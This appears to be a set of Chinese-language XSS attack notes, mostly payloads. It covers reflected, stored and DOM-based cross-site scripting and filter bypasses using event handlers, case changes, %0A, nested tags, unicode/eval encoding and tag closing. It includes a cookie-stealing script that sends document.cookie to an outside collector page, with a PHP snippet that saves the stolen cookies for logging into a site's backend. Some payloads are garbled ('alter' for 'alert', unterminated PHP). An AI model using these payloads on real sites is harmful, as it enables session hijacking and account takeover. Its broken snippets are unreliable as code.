XSS攻击
点击查看代码
<script>alert('xss')</script>
<script>alert(document.cookie)</script> #显示出cookie信息
<script>document.location='http://www.test.com/cookie.php?cookie='+document.cookie;</script> 需要进行URL编码
# cookie.php 反射型XSS获取cookie,登录后台
<?php
$cookie = $_GET['cookie'];
file_put_contents("cookie.txt",$cookie);
存储型xss漏洞,数据写入数据库中,利用img标签,如果出现损坏的小图标,就说明存在存储型xss漏洞
<img src=1 onerror = alter'1'> 如果前面的src=1没有正常执行,就会调用onerror = '111'
- 无法使用<>:以下三行代码可在<>里面写
onclick=alter(1)// 点击后触发
Onmousemove 当鼠标移动就触发 Onmousemove=alter(1)
Onload 当页面加载完成后触发 - 将on、script等字符分割:
<a href=javascript:alert(1)>Clickme</a>
需要先闭合<>、""这些 - 将on、script等以及href字符分割:更改大小写看是否可行
- 过滤比较多:可以使用unicode编码形式绕过
基于DOM的XSS
基于DOM文档对象模型漏洞的一种攻击方式,不依赖于服务器端的数据,而从客户端获得DOM中的数据并在本地执行。
通过JS脚本对文档对象进行编辑从而修改页面中的元素。
url+#javascript:alert(1) javascript伪协议
判断是否存在DOM型XSS的关键是观察我们的HTML源代码中是否存在相关的js函数
location.hash
location.href
innerHTML
document.write
eval("var x = "'+location.hash + ""');
localStorge、SessionStorge、Cookies
利用与绕过
- 大小写绕过
这个绕过方式的出现是因为网站仅仅只过滤了<script>
标签,而没有考虑标签中的大小写并不影响浏览器的解释所致。
-
%0A绕过
换行符没有过滤,使用%0A进行绕过
http://www.zixem.altervista.org/XSS/3.php?name=zxm%0A<script>alert("1337");</script>
- 利用过滤后返回语句再次构成攻击语句来绕过
我们直接敲入script标签发现返回的网页代码中script标签被去除了,但其余的内容并没有改变。
这个利用原理在于只过滤了一个script标签。例如:scscriptript
-
并不是只有script标签才可以插入代码
例如这里我们用标签做一个示范。
我们利用如下方式:
`[http://192.168.1.102/xss/example4.php?name=
src='w.123' onerror='alert("hey!")'>
`
就可以再次愉快的弹窗。原因很简单,我们指定的图片地址根本不存在也就是一定会发生错误,这时候onerror里面的代码自然就得到了执行。以下列举几个常用的可插入代码的标签。
<a onmousemove=’do something here’>
当用户鼠标移动时即可运行代码
<div onmouseover=‘do something here’>
当用户鼠标在这个块上面时即可运行(可以配合weight等参数将div覆盖页面,鼠标不划过都不行)
类似的还有onclick,这个要点击后才能运行代码,条件相对苛刻,就不再详述。
编码脚本代码绕过关键字过滤
有的时候,服务器往往会对代码中的关键字(如alert)进行过滤,这个时候我们可以尝试将关键字进行编码后再插入,不过直接显示编码是不能被浏览器执行的,我们可以用另一个语句eval()来实现。eval()会将编码过的语句解码后再执行,简直太贴心了。
例如alert(1)编码过后就是
\u0061\u006c\u0065\u0072\u0074(1) eval()函数:可计算字符串,并执行其中的javaScript代码 <script>eval("alert('xss')");</script> 可以使用\连接十六进制字符串,然后使用eval()函数执行十六进制字符串形式的脚本
-
主动闭合标签实现注入代码
这个时候就要我们手动闭合掉两个双引号来实现攻击,别忘了,javascript是一个弱类型的编程语言,变量的类型往往并没有明确定义。
-
绕过长度限制
假设下面代码存在一个XSS漏洞:
<input type = text value='$var'/>
服务器端对输出变量$var做了严格的长度限制,那么攻击者可能会这样构造XSS:
$var='><script>alter(/xss/)</script>'
希望达到的输出效果是:
<input type=text value=''><script>alter(/xss/)</script>'/>
假设长度限制为20个字节,则这段xss会被切割为
$var输出为:'><script>alter(/xss
$var='onclick =alter(1)//
- 可用注释符绕过长度限制 ><!-- -->